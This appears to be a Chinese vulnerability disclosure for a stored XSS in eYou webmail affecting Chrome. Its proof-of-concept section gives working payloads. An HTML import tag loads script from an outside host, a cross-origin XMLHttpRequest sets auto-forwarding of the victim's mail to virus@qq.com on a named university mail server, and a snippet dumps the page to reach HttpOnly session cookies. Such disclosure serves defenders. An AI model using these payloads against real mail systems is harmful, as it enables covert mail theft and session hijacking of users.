### 简要描述：
新玩意儿，影响Chrome。
在测试这个XSS过程中发现一处很严重的HttpOnly COOKIE泄漏，导致邮件正文型XSS能够获取用户全部COOKIE从而进行登陆。
### 详细说明：
新玩意儿，影响Chrome。
在测试这个XSS过程中发现一处很严重的HttpOnly COOKIE泄漏，导致邮件正文型XSS能够获取用户全部COOKIE从而进行登陆。内有POC
（wooyun上有一些关于eyou邮件正文型XSS的报告，你们给的回应全都是“已有解决方案”、“问题已知，谢谢报告”。然而测试了几所大学的邮件系统，全都没修复，感觉你们是在逗我.....）
### 漏洞证明：
发邮件，Burpsuite拦截，content_html插入一句HTML
<link rel="import" href="http://www.129.cc/x.php"> (网站是我本地测试用的,x.php自己可控)
[<img src="https://images.seebug.org/upload/201502/021652293099383136047005218eb25b2271bb4f.jpg" alt="2post.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/021652293099383136047005218eb25b2271bb4f.jpg)
1.打开邮件自动设置自动转寄地址POC。
```
http://www.129.cc/x.php
<html>
<?php header("Access-Control-Allow-Origin: *"); ?> //关键点，允许跨域
<script>
//设置自动转寄
var url = "http://mail.bit.edu.cn/user/?q=settings.forward.do&zid=";
var zid = parent.gZid;
var data = "forward_email=virus@qq.com&is_save=1&is_opened=1&action=add";
var xhr = new XMLHttpRequest();
xhr.open("POST", url+zid, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(data);
</script>
</html>
```
刷新网站，截图证明
[<img src="https://images.seebug.org/upload/201502/021653286ba838f7a4b2b14163370695d680a603.jpg" alt="2get.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/021653286ba838f7a4b2b14163370695d680a603.jpg)
[<img src="https://images.seebug.org/upload/201502/021654031ab97b61e870057387fe43b607a0ed45.jpg" alt="2get-2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/021654031ab97b61e870057387fe43b607a0ed45.jpg)
2.获取HTTPOnly Cookie
不多说，你们把所有Cookie写在打开邮件后的form里，简直不能理解。截图证明
获取EMPHPSID POC
```
http://www.129.cc/x.php
<?php header("Access-Control-Allow-Origin: *"); ?>
<script>console.log(parent.document.getElementsByTagName('html')[0].innerHTML);</script>
```
[<img src="https://images.seebug.org/upload/201502/02170257a2125111024eae1c92c82a063a94aded.jpg" alt="2get-3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/02170257a2125111024eae1c92c82a063a94aded.jpg)
京公网安备 11010502034610号
暂无评论